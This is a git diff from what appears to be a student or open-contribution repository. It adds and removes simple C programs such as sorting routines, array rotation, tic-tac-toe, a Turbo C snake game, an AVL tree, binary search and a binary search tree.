n2 = r - m; - - /* create temp arrays */ - int L[n1], R[n2]; - - /* Copy data to temp arrays L[] and R[] */ - for (i = 0; i < n1; i++) - L[i] = arr[l + i]; - for (j = 0; j < n2; j++) - R[j] = arr[m + 1 + j]; - - /* Merge the temp arrays back into arr[l..r]*/ - i = 0; // Initial index of first subarray - j = 0; // Initial index of second subarray - k = l; // Initial index of merged subarray - while (i < n1 && j < n2) { - if (L[i] <= R[j]) { - arr[k] = L[i]; - i++; - } - else { - arr[k] = R[j]; - j++; - } - k++; - } - - /* Copy the remaining elements of L[], if there - are any */ - while (i < n1) { - arr[k] = L[i]; - i++; - k++; - } - - /* Copy the remaining elements of R[], if there - are any */ - while (j < n2) { - arr[k] = R[j]; - j++; - k++; - } -} - -/* l is for left index and r is right index of the -sub-array of arr to be sorted */ -void mergeSort(int arr[], int l, int r) -{ - if (l < r) { - // Same as (l+r)/2, but avoids overflow for - // large l and h - int m = l + (r - l) / 2; - - // Sort first and second halves - mergeSort(arr, l, m); - mergeSort(arr, m + 1, r); - - merge(arr, l, m, r); - } -} - -/* UTILITY FUNCTIONS */ -/* Function to print an array */ -void printArray(int A[], int size) -{ - int i; - for (i = 0; i < size; i++) - printf("%d ", A[i]); - printf("\n"); -} - -/* Driver code */ -int main() -{ - int arr[] = { 12, 11, 13, 5, 6, 7 }; - int arr_size = sizeof(arr) / sizeof(arr[0]); - - printf("Given array is \n"); - printArray(arr, arr_size); - - mergeSort(arr, 0, arr_size - 1); - - printf("\nSorted array is \n"); - printArray(arr, arr_size); - getch(); - return 0; - -} diff --git a/Add Code Here/C/PermutationCreation.c b/Add Code Here/C/PermutationCreation.c deleted file mode 100644 index 473ae6f8753..00000000000 --- a/Add Code Here/C/PermutationCreation.c +++ /dev/null @@ -1,31 +0,0 @@ -#include -int main(void) { - int t; - scanf("%d",&t); - l1: while (t--) - { - long long x ,i ; - scanf("%lld",&x); - if(x<=3) - { - printf("-1\n"); - goto l1; - } - else if(x==4) - { - printf("3 1 4 2\n"); - goto l1; - } - - else - { - for(i=1;i<=x;i=i+2) - printf("%lld ",i); - for(i=2;i<=x;i=i+2) - printf("%lld ",i); - } - printf("\n"); - } - return 0; -} - diff --git a/Add Code Here/C/Radix_sort.c b/Add Code Here/C/Radix_sort.c deleted file mode 100644 index 26352f95703..00000000000 --- a/Add Code Here/C/Radix_sort.c +++ /dev/null @@ -1,54 +0,0 @@ -#include - -int getMax(int arr[], int n) { - int mx = arr[0]; - int i; - for (i = 1; i < n; i++) - if (arr[i] > mx) - mx = arr[i]; - return mx; -} - -void countSort(int arr[], int n, int exp) { - int output[n]; // output array - int i, count[10] = { 0 }; - - // Store count of occurrences in count[] - for (i = 0; i < n; i++) - count[(arr[i] / exp) % 10]++; - - for (i = 1; i < 10; i++) - count[i] += count[i - 1]; - - // Build the output array - for (i = n - 1; i >= 0; i--) { - output[count[(arr[i] / exp) % 10] - 1] = arr[i]; - count[(arr[i] / exp) % 10]--; - } - - for (i = 0; i < n; i++) - arr[i] = output[i]; -} - -// The main function to that sorts arr[] of size n using Radix Sort -void radixsort(int arr[], int n) { - int m = getMax(arr, n); - - int exp; - for (exp = 1; m / exp > 0; exp *= 10) - countSort(arr, n, exp); -} - -void print(int arr[], int n) { - int i; - for (i = 0; i < n; i++) - printf("%d ", arr[i]); -} - -int main() { - int arr[] = { 170, 45, 75, 90, 802, 24, 2, 66 }; - int n = sizeof(arr) / sizeof(arr[0]); - radixsort(arr, n); - print(arr, n); - return 0; -} diff --git a/Add Code Here/C/Rotation of an array by 'k' times .c b/Add Code Here/C/Rotation of an array by 'k' times .c deleted file mode 100644 index aa589408d79..00000000000 --- a/Add Code Here/C/Rotation of an array by 'k' times .c +++ /dev/null @@ -1,53 +0,0 @@ -//Left - Shifting the array by 'k' times - -#include - -int swap (int *a, int *b) -{ - int temp; - temp = *a; - *a = *b; - *b= temp; -} - -void main() -{ - int i; - int a[5] = {1,2,3,4,5}; - int k; - - printf ("Number of times you want the array to be left - rotated: "); - scanf ("%d", &k); - - - - for (i = k ; i <= (5 - k - 1)/2 + 1 ; i++) - { - swap(&a[i] , &a[5 - i + 1]); - - } - for (i = k; i <= 4 ; i++) - { - printf ("%d ", a[i]); - } - - printf ("\n"); - - for (i = 0 ; i <= (k - 1)/2 ; i++) - { - swap(&a[i] , &a[k - i - 1]); - } - for (i = 0 ; i <= 1 ; i++) - { - printf ("%d ", a[i]); - } - printf ("\n"); - for (i = 0 ; i <= (4/2) ; i++) - { - swap (&a[i] , &a[4-i]); - } - for(i = 0 ; i <= 4 ; i++) - { - printf ("%d ", a[i]); - } -} diff --git a/Add Code Here/C/SIMPLE CALCULATOR b/Add Code Here/C/SIMPLE CALCULATOR deleted file mode 100644 index 901c5a052aa..00000000000 --- a/Add Code Here/C/SIMPLE CALCULATOR +++ /dev/null @@ -1,54 +0,0 @@ -# Program make a simple calculator - -# This function adds two numbers -def add(x, y): - return x + y - -# This function subtracts two numbers -def subtract(x, y): - return x - y - -# This function multiplies two numbers -def multiply(x, y): - return x * y - -# This function divides two numbers -def divide(x, y): - return x / y - - -print("Select operation.") -print("1.Add") -print("2.Subtract") -print("3.Multiply") -print("4.Divide") - -while True: - # take input from the user - choice = input("Enter choice(1/2/3/4): ") - - # check if choice is one of the four options - if choice in ('1', '2', '3', '4'): - num1 = float(input("Enter first number: ")) - num2 = float(input("Enter second number: ")) - - if choice == '1': - print(num1, "+", num2, "=", add(num1, num2)) - - elif choice == '2': - print(num1, "-", num2, "=", subtract(num1, num2)) - - elif choice == '3': - print(num1, "*", num2, "=", multiply(num1, num2)) - - elif choice == '4': - print(num1, "/", num2, "=", divide(num1, num2)) - - # check if user wants another calculation - # break the while loop if answer is no - next_calculation = input("Let's do next calculation? (yes/no): ") - if next_calculation == "no": - break - - else: - print("Invalid Input") diff --git a/Add Code Here/C/Snake Game.c b/Add Code Here/C/Snake Game.c deleted file mode 100644 index 169b593b110..00000000000 --- a/Add Code Here/C/Snake Game.c +++ /dev/null @@ -1,287 +0,0 @@ -#include -#include -#include -#define T 2000 -int n=0,px,py; -main() -{ - int gd=DETECT,gm,i,j; - clrscr(); - gotoxy(25,4); - printf("DON'T TUCH THE BORDER"); - gotoxy(25,6); - printf("Press < p > for pause"); - gotoxy(17,8); - printf("IN MIDDLE OF GAME, PRESS < Esc > TO EXIT"); - x: - gotoxy(26,10); - printf("press < s > to start "); - gotoxy(26,12); - printf(" Use SMALL case only"); - gotoxy(34,10); - if(getch()=='s') - initgraph(&gd,&gm,"c:\tc\bgi"); - else { - clrscr(); - goto x; - } - line(0,0,0,479); - line(0,0,639,0); - line(639,0,639,479); - line(0,479,639,479); - pause(); - print(); - right(100,100); -} - right(int x,int y) - { - char ch,fu='r'; - int i,j; - for(i=x;i<=652;i++){ - for(j=y;j<=y+10;j++){ - putpixel(i,j,4); - putpixel(i-10,j,16); - } - delay(T-n); - check(i,j-1); - if(kbhit()){ - ch=getch(); - if(ch=='p') - pause(); - else - choice(i,j-1,ch,fu); - } - } - } - left(int x,int y) - { - char ch,fu='l'; - int i,j; - for(i=x;i>-12;i--){ - for(j=y;j<=y+10;j++){ - putpixel(i,j,4); - putpixel(i+10,j,16); - } - delay(T-n); - check(i,j-1); - if(kbhit()){ - ch=getch(); - if(ch=='p') - pause(); - else - choice(i,j-1,ch,fu); - } - } - } - down(int x,int y) - { - char ch,fu='d'; - int i,j; - for(j=y;j<=492;j++){ - for(i=x;i<=x+10;i++){ - putpixel(i,j,4); - putpixel(i,j-10,16); - } - delay(T-n); - check(i-1,j); - if(kbhit()){ - ch=getch(); - if(ch=='p') - pause(); - else - choice(i-1,j,ch,fu); - } - } - } - up(int x,int y) - { - char ch,fu='u'; - int i,j; - for(j=y;j>=-12;j--){ - for(i=x;i<=x+10;i++){ - putpixel(i,j,4); - putpixel(i,j+10,16); - } - delay(T-n); - check(i-1,j); - if(kbhit()){ - ch=getch(); - if(ch=='p') - pause(); - else - choice(i-1,j,ch,fu); - } - } - } - choice(int i,int j,char ch,char fu) - { - if(fu=='r'){ - if(ch=='K'){ - j-=10; - i-=10; - left(i,j); - } - else if(ch=='P'){ - i-=10; - down(i,j); - } - else if(ch=='H'){ - j-=10; - i-=10; - up(i,j); - } - else if(ch==27) - esc(); - else { - j-=10; - right(i,j); - } - } - else if(fu=='l'){ - if(ch=='M'){ - j-=10; - /*i+=-10; no comments here free me*/ - right(i,j); - } - else if(ch=='P') - down(i,j); - else if(ch=='H'){ - j-=10; - up(i,j); - } - else if(ch==27) - esc(); - else { - j-=10; - left(i,j); - } - } - else if(fu=='d'){ - if(ch=='H'){ - j-=10; - i-=10; - up(i,j); - } - else if(ch=='K'){ - i-=10; - j-=10; - left(i,j); - } - else if(ch=='M'){ - j-=10; - right(i,j); - } - else if(ch==27) - esc(); - else { - i-=10; - down(i,j); - } - } - else if(fu=='u'){ - if(ch=='P'){ - j+=10; - i-=10; - down(i,j); - } - else if(ch=='M') - right(i,j); - else if(ch=='K'){ - i-=10; - left(i,j); - } - else if(ch==27) - esc(); - else { - i-=10; - up(i,j); - } - } - } -check(int i,int j) -{ -if (n>T-1750) { -gotoxy(7,5); -printf("U r Great U got Good Score, If possible Please Develop this game"); - gotoxy(24,7); - printf("Press ENTER Key To Continue"); - getchar(); - esc(); - } - if(i<3 || i>637 || j<3 || j>477){ - outtextxy(240,240,"YOU HAVE TOUUCHED THE BORDER"); - outtextxy(280,280,"GAME OVER"); - outtextxy(240,370,"Better Luck Next Time"); - outtextxy(200,310,""); - getchar(); - esc(); - } - else if(tuch(i,j)){ - rub(); - bell(); - n+=10; - stage(); - print(); - } - } - int tuch(int i,int j) - { - int x=px,y=py,t,s,flag=0; - for(t=x;t<=x+15;t++){ - for(s=y;s<=y+15;s++) - if(j==s && i==t) - flag=1; - } - return(flag); - } - rub() - { - setcolor(16); - outtextxy(px,py,"¦"); - setcolor(15); - } - bell() - { - int i; - for(i=1;i<=5;i++){ - sound(200*i); - delay(10000); - nosound(); - } - } - stage() - { - gotoxy(60,5); - printf("U got %d points",n); - sleep(1); - gotoxy(60,5); - printf(" "); - } - print() - { - px=random(636); - py=random(460); - if(px<10) - px+=10; - if(py<10) - py+=10; - outtextxy(px,py,"¦"); - } - pause() - { - outtextxy(200,470,"< Press Any Key To Continue >"); - getch(); - setcolor(16); - outtextxy(200,470,"< Press Any Key To Continue >"); - setcolor(15); - } - esc() - { - gotoxy(20,18); - printf(" THANK YOU "); - gotoxy(20,20); - printf(" < Press any key to continue > "); - getch(); - closegraph(); - exit(0); - } diff --git a/Add Code Here/C/Subsequence LCM.c/Subsequence LCM.c b/Add Code Here/C/Subsequence LCM.c/Subsequence LCM.c deleted file mode 100644 index 4b3f94617cd..00000000000 --- a/Add Code Here/C/Subsequence LCM.c/Subsequence LCM.c +++ /dev/null @@ -1,216 +0,0 @@ -#include - -#include - -#include - -using namespace __gnu_pbds; - -using namespace std; - -typedef tree, rb_tree_tag, tree_order_statistics_node_update> ordered_set; - -#define dbg(x) cout<<#x<<": "< - -#define ff first - -#define ss second - -#define pb push_back - -#define pi acos(-1.0) - -#define vi vector - -#define vll vector - -#define fr(i,n,j) for(i=j;i<=n;i++) - -#define rfr(i,n,j) for(i=n;i>=j;i--) - -#define ct continue; - -#define yo cout<<"Yes"<0) - - { - - if(y&1) res=((res%M)*(x%M))%M; - - y=y>>1; - - x=((x%M)*(x%M))%M; - - } - - return res; - -} - -ll ncr(ll n,ll r)//here b is for fact - -{ - - ll ans=d[n]; - - ans=(ans*inv[r])%M; - - ans=(ans*inv[n-r])%M; - - return ans; - -} - -int main() - -{ - - fast; - - ll te,n,m,i,j,k,w,l,r,x,y,z,l2,r2,k2,k1; - - te=1; - - d[0]=c[0]=1; - - fr(i,100000,1)c[i]=(c[i-1]*2)%M,d[i]=(d[i-1]*i)%M; - - inv[100000]=mod_inverse(d[100000],M-2); - - rfr(i,99999,0)inv[i]=(inv[i+1]*(i+1))%M; - - cin>>te; - - fr(w,te,1) - - { - - cin>>n; - - fr(i,n,1)cin>>a[i],b[a[i]]++; - - x=0; - - fr(i,10000000,1) - - { - - if(b[i]==0)ct; - - x=(x+c[b[i]]-1-b[i])%M; - - } - - fr(i,10000000,1) - - { - - if(b[i]==0)ct; - - for(j=1;j*j<=i;j++) - - { - - if(i%j==0&&j<=n) - - { - - dp[j]+=b[i]; - - if(b[i]>=j&&j>1)x=(x-ncr(b[i],j))%M; - - z=i/j; - - if(z!=j&&z<=n&&z>1) - - { - - dp[z]+=b[i]; - - if(b[i]>=z)x=(x-ncr(b[i],z))%M; - - } - - } - - } - - } - - fr(i,n,2) - - { - - if(dp[i]>=i) - - x=(x+ncr(dp[i],i))%M; - - } - - /* for(i=2;i<=100000;i++) - - { - - z=0; - - for(j=i;j<=10000000;j+=i) - - { - - if(b[j]==0)ct; - - z+=b[j]; - - if(b[j]>=i)x=(x-ncr(b[j],i))%M; - - } - - if(z>=i)x=(x+ncr(z,i))%M; - - }*/ - - x=(x+M)%M; - - cout< -#include -#include -#include -#include - -char square[10] = {'o','1','2','3','4','5','6','7','8','9'}; -int checkWin(); -void drawBoard(); - -int main(){ - system("color 4a"); - int player = 1, i ,choice; - char mark; // X,O - do { - drawBoard(); - player = (player % 2) ? 1 : 2; - printf("Player %d, enter the choice : ",player); - scanf("%d",&choice); - mark = (player == 1) ? 'X' : 'O'; - if(choice == 1 && square[1] == '1') - square[1] = mark; - else if(choice == 2 && square[2] == '2') - square[2] = mark; - else if(choice == 3 && square[3] == '3') - square[3] = mark; - else if(choice == 4 && square[4] == '4') - square[4] = mark; - else if(choice == 5 && square[5] == '5') - square[5] = mark; - else if(choice == 6 && square[6] == '6') - square[6] = mark; - else if(choice == 7 && square[7] == '7') - square[7] = mark; - else if(choice == 8 && square[8] == '8') - square[8] = mark; - else if(choice == 9 && square[9] == '9') - square[9] = mark; - - else { - printf("Invalid option !"); - player--; - getch(); - } - i = checkWin(); - player++; - - }while(i == -1); - - drawBoard(); - if(i==1){ - printf("==>Player %d won",player-1); - - } - else { - printf("==>Game draw"); - } - getch(); - return 0; -} -int checkWin(){ - if(square[1] == square[2] && square[2] == square[3]) - return 1; - else if (square[4] == square[5] && square[5] == square[6]) - return 1; - else if(square[7] == square[8] && square[8] == square[9]) - return 1; - else if(square[1] == square[4] && square[4] == square[7]) - return 1; - else if(square[2] == square[5] && square[5] == square[8]) - return 1; - else if(square[3] == square[6] && square[6] == square[9]) - return 1; - else if(square[1] == square[5] && square[5] == square[9]) - return 1; - else if(square[3] == square[5] && square[5] == square[7]) - return 1; - else if(square[1] != '1' && square[2] != '2' && square[3] != '3' && square[4] !='4' && square[5] != '5' && square[6] != '6' && square[7] != '7' && square[8] != '8' && square[9] != '9') - return 0; - else - return -1; -} - -void drawBoard(){ - system("cls"); - printf("\n\n\t Tic Tac Toe \n\n"); - printf("Player1 (X) - Player2 (O) \n\n\n"); - printf(" | | \n"); - printf(" %c | %c | %c \n",square[1],square[2],square[3]); - printf("_____|_____|_____\n"); - printf(" | | \n"); - printf(" %c | %c | %c \n",square[4],square[5],square[6]); - printf("_____|_____|_____\n"); - printf(" | | \n"); - printf(" %c | %c | %c \n",square[7],square[8],square[9]); - printf(" | | \n"); -} diff --git a/Add Code Here/C/To_find_keywords.c b/Add Code Here/C/To_find_keywords.c new file mode 100644 index 00000000000..2c35b4f4bf3 --- /dev/null +++ b/Add Code Here/C/To_find_keywords.c @@ -0,0 +1,48 @@ +#include +#include +#include +#include +void main() +{ + int i,j,count=0; + char c='\n'; + char ch; + FILE *fp; + char Keyword[32][15]={ + "extern","return","union","const","float","short", + "auto","double","int","struct","break","else","long", + "goto","sizeof","voltile","do","if","static","while", + "unsigned","continue","for","signed","void","default", + "switch","case","enum","register","typedef","char" + }; + fp=fopen("file.txt","w"); + if(fp==NULL) + { + printf("File not exist"); + exit(1); + } + for(i=0;i<32;i++) + { + for(j=0;j +#include +void set_union(int *arr1, int *arr2, int a, int b) +{ + int arr[100], cnt = 0; + bool check; + for (int i = 0; i < a; i++) + { + check = true; + for (int j = 0; j < cnt; j++) + if (arr[j] == arr1[i]) + check = false; + if (check) + { + arr[cnt] = arr1[i]; + cnt++; + } + } + for (int i = 0; i < b; i++) + { + check = true; + for (int j = 0; j < cnt; j++) + if (arr[j] == arr2[i]) + check = false; + if (check) + { + arr[cnt] = arr2[i]; + cnt++; + } + } + printf("\nThe union of the sets is : "); + for (int i = 0; i < cnt; i++) + printf("%d ", arr[i]); +} +int main() +{ + int A[100], B[100], x, y; + printf("Enter the size of set A : "); + scanf("%d", &x); + printf("Enter the elements of A : "); + for (int i = 0; i < x; i++) + scanf("%d", &A[i]); + printf("Enter the size of set B : "); + scanf("%d", &y); + printf("Enter the elements of B : "); + for (int i = 0; i < y; i++) + scanf("%d", &B[i]); + set_union(A, B, x, y); +} + +// Code written by _100rabh_ \ No newline at end of file diff --git a/Add Code Here/C/Union_of_2_sets.exe b/Add Code Here/C/Union_of_2_sets.exe new file mode 100644 index 00000000000..4e60d1fbb73 Binary files /dev/null and b/Add Code Here/C/Union_of_2_sets.exe differ diff --git a/Add Code Here/C/VariadicFunctions.c b/Add Code Here/C/VariadicFunctions.c deleted file mode 100644 index 59dfcf929be..00000000000 --- a/Add Code Here/C/VariadicFunctions.c +++ /dev/null @@ -1,206 +0,0 @@ -#include -#include -#include -#include - -#define MIN_ELEMENT 1 -#define MAX_ELEMENT 1000000 -int sum (int count,...) { - int sum=0; - va_list values; - va_start(values,count); - for(int i=0;im) - { - m=a; - } - } - va_end(values); - return m; -} - -int test_implementations_by_sending_three_elements() { - srand(time(NULL)); - - int elements[3]; - - elements[0] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[1] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[2] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - - fprintf(stderr, "Sending following three elements:\n"); - for (int i = 0; i < 3; i++) { - fprintf(stderr, "%d\n", elements[i]); - } - - int elements_sum = sum(3, elements[0], elements[1], elements[2]); - int minimum_element = min(3, elements[0], elements[1], elements[2]); - int maximum_element = max(3, elements[0], elements[1], elements[2]); - - fprintf(stderr, "Your output is:\n"); - fprintf(stderr, "Elements sum is %d\n", elements_sum); - fprintf(stderr, "Minimum element is %d\n", minimum_element); - fprintf(stderr, "Maximum element is %d\n\n", maximum_element); - - int expected_elements_sum = 0; - for (int i = 0; i < 3; i++) { - if (elements[i] < minimum_element) { - return 0; - } - - if (elements[i] > maximum_element) { - return 0; - } - - expected_elements_sum += elements[i]; - } - - return elements_sum == expected_elements_sum; -} - -int test_implementations_by_sending_five_elements() { - srand(time(NULL)); - - int elements[5]; - - elements[0] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[1] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[2] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[3] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[4] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - - fprintf(stderr, "Sending following five elements:\n"); - for (int i = 0; i < 5; i++) { - fprintf(stderr, "%d\n", elements[i]); - } - - int elements_sum = sum(5, elements[0], elements[1], elements[2], elements[3], elements[4]); - int minimum_element = min(5, elements[0], elements[1], elements[2], elements[3], elements[4]); - int maximum_element = max(5, elements[0], elements[1], elements[2], elements[3], elements[4]); - - fprintf(stderr, "Your output is:\n"); - fprintf(stderr, "Elements sum is %d\n", elements_sum); - fprintf(stderr, "Minimum element is %d\n", minimum_element); - fprintf(stderr, "Maximum element is %d\n\n", maximum_element); - - int expected_elements_sum = 0; - for (int i = 0; i < 5; i++) { - if (elements[i] < minimum_element) { - return 0; - } - - if (elements[i] > maximum_element) { - return 0; - } - - expected_elements_sum += elements[i]; - } - - return elements_sum == expected_elements_sum; -} - -int test_implementations_by_sending_ten_elements() { - srand(time(NULL)); - - int elements[10]; - - elements[0] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[1] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[2] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[3] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[4] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[5] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[6] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[7] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[8] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - elements[9] = rand() % (MAX_ELEMENT - MIN_ELEMENT + 1) + MIN_ELEMENT; - - fprintf(stderr, "Sending following ten elements:\n"); - for (int i = 0; i < 10; i++) { - fprintf(stderr, "%d\n", elements[i]); - } - - int elements_sum = sum(10, elements[0], elements[1], elements[2], elements[3], elements[4], - elements[5], elements[6], elements[7], elements[8], elements[9]); - int minimum_element = min(10, elements[0], elements[1], elements[2], elements[3], elements[4], - elements[5], elements[6], elements[7], elements[8], elements[9]); - int maximum_element = max(10, elements[0], elements[1], elements[2], elements[3], elements[4], - elements[5], elements[6], elements[7], elements[8], elements[9]); - - fprintf(stderr, "Your output is:\n"); - fprintf(stderr, "Elements sum is %d\n", elements_sum); - fprintf(stderr, "Minimum element is %d\n", minimum_element); - fprintf(stderr, "Maximum element is %d\n\n", maximum_element); - - int expected_elements_sum = 0; - for (int i = 0; i < 10; i++) { - if (elements[i] < minimum_element) { - return 0; - } - - if (elements[i] > maximum_element) { - return 0; - } - - expected_elements_sum += elements[i]; - } - - return elements_sum == expected_elements_sum; -} - -int main () -{ - int number_of_test_cases; - scanf("%d", &number_of_test_cases); - - while (number_of_test_cases--) { - if (test_implementations_by_sending_three_elements()) { - printf("Correct Answer\n"); - } else { - printf("Wrong Answer\n"); - } - - if (test_implementations_by_sending_five_elements()) { - printf("Correct Answer\n"); - } else { - printf("Wrong Answer\n"); - } - - if (test_implementations_by_sending_ten_elements()) { - printf("Correct Answer\n"); - } else { - printf("Wrong Answer\n"); - } - } - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/avltree.c b/Add Code Here/C/avltree.c deleted file mode 100644 index 83eadac64b1..00000000000 --- a/Add Code Here/C/avltree.c +++ /dev/null @@ -1,186 +0,0 @@ -#include -#include - -typedef struct bstnode{ - int key; - int nodeCountL; - int nodeCountR; - int height; - struct bstnode *left; - struct bstnode *right; -} BSTNode; - -typedef struct{ - int nodeCount; - BSTNode *root; -}BST; - -BSTNode *create_bstnode(int k){ - BSTNode *n = (BSTNode*) malloc(sizeof(BSTNode)); - n->key = k; - n->nodeCountL = n->nodeCountR = n->height = 0; - n->left = n->right = NULL; - return n; -} - -BST *create_bst(){ - BST *bst = (BST*) malloc(sizeof(BST)); - bst->root = NULL; - bst->nodeCount = 0; - return bst; -} - -int h(BSTNode *rt){ - if(rt == NULL){ - return -1; - } - return rt->height; -} - -int getBalance(BSTNode *rt){ - if(rt == NULL){ - return 0; - } - return h(rt->left)-h(rt->right); -} - -int m(int k,int j){ - if(k >= j){ - return k; - }else{ - return j; - } -} - -BSTNode *leftRotate(BSTNode *rt){ - BSTNode *r, *rl; - r = rt->right; - rl = r->left; - r->left = rt; - rt->right = rl; - if(rl == NULL){ - rt->nodeCountR = 0; - }else{ - rt->nodeCountR = (rl->nodeCountL)+(rl->nodeCountR)+1; - } - if(rt == NULL){ - r->nodeCountL = 0; - }else{ - r->nodeCountL = (rt->nodeCountL)+(rt->nodeCountR)+1; - } - rt->height = m(h(rt->left), h(rt->right))+1; - r->height = m(h(r->left), h(r->right))+1; - return r; -} - -BSTNode *rightRotate(BSTNode *rt){ - BSTNode *l, *lr; - l = rt->left; - lr = l->right; - l->right = rt; - rt->left = lr; - if(lr == NULL){ - rt->nodeCountL = 0; - }else{ - rt->nodeCountL = (lr->nodeCountL)+(lr->nodeCountR)+1; - } - if(rt == NULL){ - l->nodeCountR = 0; - }else{ - l->nodeCountR = (rt->nodeCountL)+(rt->nodeCountR)+1; - } - rt->height = m(h(rt->left), h(rt->right))+1; - l->height = m(h(l->left), h(l->right))+1; - return l; -} - -BSTNode *inserthelp(BSTNode *rt, int k){ - if(rt == NULL){ - return rt = create_bstnode(k); - } - if(rt->key > k){ - rt->left = inserthelp(rt->left, k); - rt->nodeCountL++; - }else{ - rt->right = inserthelp(rt->right, k); - rt->nodeCountR++; - } - rt->height = m(h(rt->left), h(rt->right))+1; - int balance = getBalance(rt); - if((balance < -1) && (k >= (rt->right->key))){ //If balance is > 1 or < -1, let rt be the closest unbalanced node to the newly inserted leaf - rt = leftRotate(rt); //L-rotation (key inserted into the right subtree of the right child of rt) - }else if((balance > 1) && (k < (rt->left->key))){ - rt = rightRotate(rt); //R-rotation (key inserted into the left subtree of the left child of rt) - }else if((balance > 1) && (k >= (rt->left->key))){ - rt->left = leftRotate(rt->left); - rt = rightRotate(rt); //LR-rotation (key inserted into the right subtree of the left child of rt) - }else if((balance < -1) && (k < (rt->right->key))){ - rt->right = rightRotate(rt->right); - rt = leftRotate(rt); //RL-rotation (key inserted into the left subtree of the right child of rt) - } - return rt; -} - -void insert(BST *bst, int k){ - bst->root = inserthelp(bst->root, k); - bst->nodeCount++; -} - -int findhelp(BSTNode *rt, int k, int index){ - if(rt == NULL){ - return -1; //Element not found in the AVL - } - if(rt->key > k){ - return findhelp(rt->left, k, index); - }else if(rt->key == k){ - return ((rt->nodeCountL)+(index)+1); //Returns the index of rt element in the AVL - }else{ - if(rt->left == NULL){ - index += 1; - }else{ - index += (rt->left->nodeCountL)+(rt->left->nodeCountR)+2; - } - return findhelp(rt->right, k, index); - } -} - -int find(BST *bst, int k){ - return findhelp(bst->root, k, 0); -} - -int size(BST *bst){ - return bst->nodeCount; -} - -void clear(BST *bst){ - -} - -void preorder(BSTNode *rt){ - if(rt != 0){ - printf("%d\n", rt->key); - preorder(rt->left); - preorder(rt->right); - } -} - -void inorder(BSTNode *rt){ - if(rt != 0){ - inorder(rt->left); - printf("%d\n", rt->key); - inorder(rt->right); - } -} - -void posorder(BSTNode *rt){ - if(rt != 0){ - posorder(rt->left); - posorder(rt->right); - printf("%d\n", rt->key); - } -} - -int main(){ - - return 0; -} diff --git a/Add Code Here/C/binary-search.c b/Add Code Here/C/binary-search.c new file mode 100644 index 00000000000..e73b5a810b8 --- /dev/null +++ b/Add Code Here/C/binary-search.c @@ -0,0 +1,31 @@ +#include + +int binarySearch(int array[], int x, int low, int high) { + if (high >= low) { + int mid = low + (high - low) / 2; + + // If found at mid, then return it + if (array[mid] == x) + return mid; + + // Search the left half + if (array[mid] > x) + return binarySearch(array, x, low, mid - 1); + + // Search the right half + return binarySearch(array, x, mid + 1, high); + } + + return -1; +} + +int main(void) { + int array[] = {3, 4, 5, 6, 7, 8, 9}; + int n = sizeof(array) / sizeof(array[0]); + int x = 4; + int result = binarySearch(array, x, 0, n - 1); + if (result == -1) + printf("Not found"); + else + printf("Element is found at index %d\n", result); +} \ No newline at end of file diff --git a/Add Code Here/C/binarySearch.c b/Add Code Here/C/binarySearch.c deleted file mode 100644 index c78255f5875..00000000000 --- a/Add Code Here/C/binarySearch.c +++ /dev/null @@ -1,37 +0,0 @@ -#include - -int key; - -int binarySearch(int arr[], int n){ - int start=0, end=n; - printf("Enter the key: "); - scanf("%d", &key); - while (start<=end){ - int mid=(start+end)/2; - if (arr[mid]==key) - return mid; - else if (arr[mid] - -void main (void) - -{ - - int t; - - scanf("%d",&t); - - while(t--){ - - int x,y,sum=0; - - scanf("%d%d",&x,&y); - - sum=x*y; - - printf("%d\n",sum); - - - - } - -} diff --git a/Add Code Here/C/bst b/Add Code Here/C/bst deleted file mode 100644 index 22daebd18e4..00000000000 --- a/Add Code Here/C/bst +++ /dev/null @@ -1,215 +0,0 @@ -#include -#include - -struct Node{ - int data; - struct Node *left,*right,*parent; -}; -struct Node* search(struct Node *root,int val) -{ - - struct Node *ptr=root; - while(ptr != NULL) - { - if(ptr->data data==val || ptr==NULL) - { - return ptr; - } - else - { - ptr=ptr->right; - } - } - else - { - if(ptr->data==val || ptr==NULL) - { - return ptr; - } - else - { - ptr=ptr->left; - } - } - } - -} - -struct Node* root=NULL; -void insert(int key){ - struct Node*t=root; - struct Node*r,*p; - if(root==NULL){ - p=(struct Node*)malloc(sizeof(struct Node)); - p->data=key; - p->left=p->right=NULL; - root=p; - return; - } - while(t!=NULL){ - r=t; - if(keydata){ - t=t->left; - } - else if (key>t->data) - { - t=t->right; - } - else - return; - - } - p=(struct Node*)malloc(sizeof(struct Node)); - p->data=key; - p->left=p->right=NULL; - - - if(keydata) r->left=p; - else r->right=p; -} - - -// struct Node* insertBST(struct Node*root, int val){ -// if(root == NULL){ -// root->data=val; -// } -// if (valdata){ -// root->left = insertBST(root->left,val); -// } -// else{ -// root->right = insertBST(root->right,val); -// } -// return root; - -// } -void inorder(struct Node * root){ - if(root == NULL){ - return; - } - - inorder(root->left); - printf("%d🫡 ",root->data); - inorder(root->right); - -} -struct Node* min(struct Node* root) -{ - struct Node* ptr2; - ptr2=root; - while(ptr2->left != NULL) - { - ptr2=ptr2->left; - } - return ptr2; -} -struct Node* max(struct Node* root) -{ - struct Node* ptr2; - ptr2=root; - while(ptr2->right 